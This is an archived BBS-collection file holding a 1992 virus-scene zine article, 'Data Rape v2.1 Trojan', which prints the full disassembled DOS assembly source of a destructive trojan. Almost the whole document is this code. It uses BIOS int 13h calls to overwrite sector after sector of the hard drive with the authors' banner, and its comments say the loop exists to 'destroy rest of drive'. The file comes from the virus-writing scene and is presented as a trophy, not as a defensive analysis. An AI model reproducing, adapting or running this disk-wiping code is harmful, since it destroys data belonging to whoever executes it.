home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / daterape.asm < prev    next >
Assembly Source File  |  1992-09-02  |  3KB  |  86 lines

  1. ─────────═════════>>> Article From Evolution #2 - YAM '92
  2.  
  3. Article Title: Data Rape v2.1 Trojan
  4. Author: Admiral Bailey
  5.  
  6.  
  7. ;=---
  8. ;
  9. ; DataRape 2.1 Trojan
  10. ;
  11. ; Disassembled By Admiral Bailey [YAM '92]
  12. ; June 25, 1992
  13. ;
  14. ; The writers of this virus are Zodiac and Data Disruptor
  15. ;
  16. ; Notes:Just a regular trojan.  This one puts the messege into the
  17. ;       sector it writes.  Even though its not advanced it gets the
  18. ;       job done.
  19. ;
  20. ;=---------
  21. seg_a           segment byte public
  22.                 assume  cs:seg_a, ds:seg_a
  23.                 org     100h
  24.  
  25. datarap2  proc    far
  26. start:
  27.                 jmp     begin
  28. messege         db      '----------------------------',0Dh,0ah
  29.                 db      '         DataRape v2.1      ',0dh,0ah
  30.                 db      '    Written by Zodiac and   ',0dh,0ah
  31.                 db      '        Data Disruptor      ',0dh,0ah
  32. copyright       db      '(c) 1991 RABID International',0dh,0ah
  33.                 db      '----------------------------',0dh,0ah
  34.  
  35. sector          db      1
  36. data_3          db      0
  37.  
  38. begin:
  39.                 mov     ah,0Bh                  ; write sectors
  40.                 mov     al,45h                  ; sectors to write to
  41.                 mov     bx,offset messege       ; writes this messege
  42.                 mov     ch,0                    ; clear out these
  43.                 mov     cl,0
  44.                 mov     dh,0
  45.                 mov     dl,80h                  ; drive
  46.                 int     13h
  47.  
  48.                 jnc     write_loop              ; nomatter what jump to
  49.                 jc      write_loop              ; the write loop and
  50.                 jmp     short write_loop        ; destroy rest of drive
  51.                 nop
  52. compare:
  53.                 mov     sector,1                ; start writing at sec1
  54.                 inc     data_3
  55.                 jmp     short loc_4
  56.                 db      90h
  57. write_loop:
  58.                 cmp     data_3,28h
  59.                 jae     quit
  60.                 cmp     sector,9
  61.                 ja      compare
  62. loc_4:
  63.                 mov     ah,3                    ; write sec's from mem
  64.                 mov     al,9                    ; #
  65.                 mov     bx,offset messege       ; this is in mem
  66.                 mov     ch,data_3               ; cylinder
  67.                 mov     cl,sector               ; sector
  68.                 mov     dh,0                    ; drive head
  69.                 mov     dl,2                    ; drive
  70.                 int     13h
  71.  
  72.                 inc     sector                  ; move up a sector
  73.                 jmp     short write_loop
  74.                 db       73h, 02h, 72h, 00h
  75. quit:
  76.                 mov     ax,4C00h
  77.                 int     21h                     ; now quit
  78.  
  79. datarap2  endp
  80.  
  81. seg_a           ends
  82.  
  83.                 end     start
  84.  
  85.  
  86.